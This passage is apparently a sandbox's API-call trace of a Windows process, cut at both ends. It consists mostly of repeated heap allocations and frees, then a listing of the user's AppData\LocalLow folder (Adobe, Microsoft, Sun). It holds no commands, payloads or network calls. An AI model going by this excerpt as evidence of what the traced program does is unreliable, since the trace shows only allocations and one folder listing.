(HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.389] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.391] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.392] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.392] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0067.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0067.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0067.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0067.393] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.393] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.393] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.393] PathFindFileNameW (pszPath="") returned="" [0067.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.393] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.393] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.393] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0067.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x325eb88 [0067.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.394] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf08 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x38) returned 0x31befa0 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf08 | out: hHeap=0x5d0000) returned 1 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.394] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.394] RtlAllocateHeap 